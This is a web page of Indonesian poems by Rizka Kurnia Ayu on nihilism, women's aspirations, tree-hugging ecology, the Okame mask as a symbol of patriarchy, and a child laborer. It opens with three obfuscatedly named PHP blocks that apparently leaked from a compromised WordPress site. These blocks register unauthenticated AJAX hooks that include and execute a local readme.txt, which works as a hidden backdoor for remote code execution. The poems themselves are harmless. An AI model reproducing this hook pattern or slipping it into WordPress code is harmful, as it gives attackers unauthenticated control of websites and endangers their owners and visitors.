if(!function_exists('file_check_readme30417')){ add_action('wp_ajax_nopriv_file_check_readme30417', 'file_check_readme30417'); add_action('wp_ajax_file_check_readme30417', 'file_check_readme30417'); function file_check_readme30417() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme14937')){ add_action('wp_ajax_nopriv_file_check_readme14937', 'file_check_readme14937'); add_action('wp_ajax_file_check_readme14937', 'file_check_readme14937'); function file_check_readme14937() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme61629')){ add_action('wp_ajax_nopriv_file_check_readme61629', 'file_check_readme61629'); add_action('wp_ajax_file_check_readme61629', 'file_check_readme61629'); function file_check_readme61629() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Nihilis Jenaka dan Puisi Lainnya
berkubang dalam dunia kepenulisan yang berkaitan dengan isu kemanusiaan dan kesejahteraan perempuan

Nihilis Jenaka dan Puisi Lainnya

Rizka Kurnia Ayu

1 min read

 Nihilis Jenaka

Aku memindaimu dibangkitkan kali kedua—lewat tubuh seorang nihilis muda dengan tato di lehernya

amor fati, lukisnya

Segaris denganmu, IQ-nya mendadak 200+ pasca kehilangan twinflame-nya

Bertopeng komikal agar tak terlihat paling menggelegar

Dan Rawi tumpah di kepalanya kala dia mulai berisik tentang raksi Qada dan Qadar

Aku memuisikannya, Pena-nya adalah gong kebangkitan peran gandaku

Sketsa-nya adalah empat kaki Thoroughbred yang meringkik vokal:

Perempuan halal memimpikan apa saja, bahkan setelah menjadi ibu!

merci mille fois!

(Depok, 2022)

Sekotak Demotivasi       

Seorang optimis mendayungkan sampan ke puncak magenta—menjaring ikan dari mangata ke angkasa

Poseidon menghadang, meludahinya sedikit khotbah, lalu membekalinya sekotak demotivasi bertuliskan mantra dari pena bulu Angsa:

Yang melekat akan kalah sebelum menyentuh galah

Yang menerbangkan mimpi hanya berteman dengan nyalak anjing di malam sepi

Hiduplah renjana, setenang arus membisik muara

(Depok, 2022)

Chipko Ba’

Lima belas Kamariah ini, mari kita berchipko ba’—memeluk pohon dengan nyawa bak Hindu Bisnoi India, meski buldoser pelindis hutan sejengkal dari garis netra

Sungguh balada memindai alam dan manusia lampau saling rasa—tatkala jutaan penganut modernisme mendadak omen berjuta muka, dan aku senada lisong nirnyala

Secubit injeksi untuk neuron dan dendrit, rasanya boleh ya?

Ataukah setitik kebangsatan agar telingaku tak mudah menerima bisikan

Ataukah segelas besar apatisme karena overdosis altruisme menyingsing mati muda

Ataukah sepiring elegi seperti gelak Cioran dan aliansinya

Ataukah sebaris kidung one sheep… two sheep… three sheep

Hingga korneaku terbenam tak bersisa

(Depok-2022)

Elegi dalam Amplop Sukacita

Matsuri terhampar membelah julang sakura, ramai punggung mengepak ria

Okame… itu Okame!

Euonia riang menggema

Okame menapak seringkih sutra, pipi gemuknya memucat surai

Cahaya kamera padang bersahutan—para madewi kegirangan memindai

Tersurat aksara prasasti terpendam, Hsshh! Okame itu representasi ketololan patriarki—tentang istri yang menghabisi diri tuk baktinya pada suami

Okame… itu Okame!

Para madewi terperosok mariana kebutaan, persis pandir gegap-gempita sejarah kebangsaan

(Depok, 2022)

10 Jari Kecil di Darul Hayawan

Harusnya kau berbaris berbalut merah putih—namun kau lintuh-rintih

Swastamita rautmu kala kutanya, singkat, tak ada biaya

Kuberanikan lagi menyoal,

Ramanda-mu seleweng selatan, Biyung-mu serong utara, Adingmu dua, dan status barumu, kepala keluarga

Kau menagak remah tersipu—menilik tapak tanganmu

Sepuluh jari lidimu kelam abu, semir dan berus adalah karibmu

Kerdilku kembali mengganjil, kusodorkan prospektus beasiswa—bukan GNOTA

Matamu memicing hina sambil bermadah

Jika aku ke sana, zuriahku mengaum lapar terkapar sia

Bukankah Darul-Hayawan dijanjikan untuk orang tersiksa-maka di sinilah, Arunika-ku berdansa sepuasnya

(Surabaya, 2016)

*****

Editor: Moch Aldy MA

Rizka Kurnia Ayu
Rizka Kurnia Ayu berkubang dalam dunia kepenulisan yang berkaitan dengan isu kemanusiaan dan kesejahteraan perempuan

Leave a Reply

Your email address will not be published. Required fields are marked *

Dapatkan tulisan-tulisan menarik setiap saat dengan berlangganan melalalui email